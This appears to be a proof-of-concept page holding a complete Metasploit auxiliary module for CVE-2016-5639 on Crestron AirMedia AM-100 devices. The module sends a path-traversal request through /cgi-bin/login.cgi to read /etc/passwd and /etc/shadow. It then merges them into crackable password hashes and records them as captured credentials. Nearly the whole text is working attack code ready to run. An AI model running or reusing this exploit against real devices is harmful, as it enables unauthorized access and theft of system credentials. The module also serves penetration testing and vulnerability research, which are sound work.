4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / crestron_airmedia_hashdump.rb RB
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

    def initialize
        super(
            'Name'        => 'Crestron AirMedia AM-100 Linux Password Hash Dump',
            'Description' => %q{
                This module exploits a path traversal in Crestron AirMedia AM-100 devices with
                firmware version <1.4.0.13. This module extracts and de-shadows Linux 
                password hashes from the device (not the AirMedia application passwords).
            },
            'References'  => [
                [ 'CVE', 'CVE-2016-5639' ],
                [ 'URL', 'https://github.com/CylanceVulnResearch/disclosures/blob/master/CLVA-2016-05-001.md' ]
            ],
            'Author'      => [
              'Forrest'
            ],
            'License'     => MSF_LICENSE,
            'DefaultOptions' => {
                'SSL'     => true
            },
            'DisclosureDate' => "2016-08-01"
        )
        register_options(
            [
                Opt::RPORT(443),
                OptBool.new('SSL', [true, 'Use SSL', true])
            ], self.class
        )
    end

    # Function for attempting the directory traversal
    def get_file_function(file_path, opts = {})
        begin
            res = send_request_cgi(
                {
                  'uri'     => normalize_uri("/cgi-bin/login.cgi?lang=en&src=../../../../../../../../../../../../../../../../../../../..", file_path),
                  'method'  => 'GET',
                  'ssl'     => true,
                  'port'    => rport
                }
            )
            return res
            
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
            print_error("#{rhost}:#{rport} - HTTP(S) Connection Failed...")
            return
        end
    end
  
    
    def run
        print_status("#{rhost}:#{rport} - Attempting path traversal to files...")
        
        passwd_response = get_file_function("/etc/passwd")
        good_passwd_response = (
            passwd_response &&
            passwd_response.code == 200
        )
        
        if good_passwd_response
            print_good("#{rhost}:#{rport} - Successfully retrieved /etc/passwd...")
            path = store_loot("linux.passwd", "application/octet-stream", rhost, passwd_response.body, "passwd", "Linux Passwd File")
            print_good("Saved /etc/passwd to: " << path)
        else
            print_error("#{rhost}:#{rport} - Failed to retrieve /etc/passwd...")
            return false
        end
        
        
        
        shadow_response = get_file_function("/etc/shadow")
        good_shadow_response = (
            shadow_response &&
            shadow_response.code == 200
        )
        
        if shadow_response
            print_good("#{rhost}:#{rport} - Successfully retrieved /etc/shadow...")
            path = store_loot("linux.shadow", "application/octet-stream", rhost, shadow_response.body, "shadow", "Linux Shadow File")
            print_good("Saved /etc/shadow to: " << path)
        else
            print_error("#{rhost}:#{rport} - Failed to retrieve /etc/shadow...")
            return false
        end
        
        # Stolen from post/linux/gather/hashdump
        john_file = unshadow(passwd_response.body, shadow_response.body)
        
        john_file.each_line do |l|
            hash_parts = l.split(':')
            credential_data = {
                jtr_format: 'md5,des,bsdi,crypt',
                origin_type: :service,
                post_reference_name: self.refname,
                private_type: :nonreplayable_hash,
                private_data: hash_parts[1],
                username: hash_parts[0],
                workspace_id: myworkspace_id
            }
            create_credential(credential_data)
            print_good("    #{l.chomp}")
        end
        
        path = store_loot("crestron_linux.hashes", "text/plain", rhost, john_file, "unshadowed_passwd.pwd", "Linux Unshadowed Password File")
        print_good("File saved to path: " << path)
    end
  
    # Stolen from post/linux/gather/hashdump
    def unshadow(pf,sf)
        unshadowed = ""
        sf.each_line do |sl|
            pass = sl.scan(/^\w*:([^:]*)/).join
            if pass !~ /^\*|^!$/
                user = sl.scan(/(^\w*):/).join
                pf.each_line do |pl|
                    if pl.match(/^#{user}:/)
                        unshadowed << pl.gsub(/:x:/,":#{pass}:")
                    end
                end
            end
        end
        unshadowed
    end  
  
end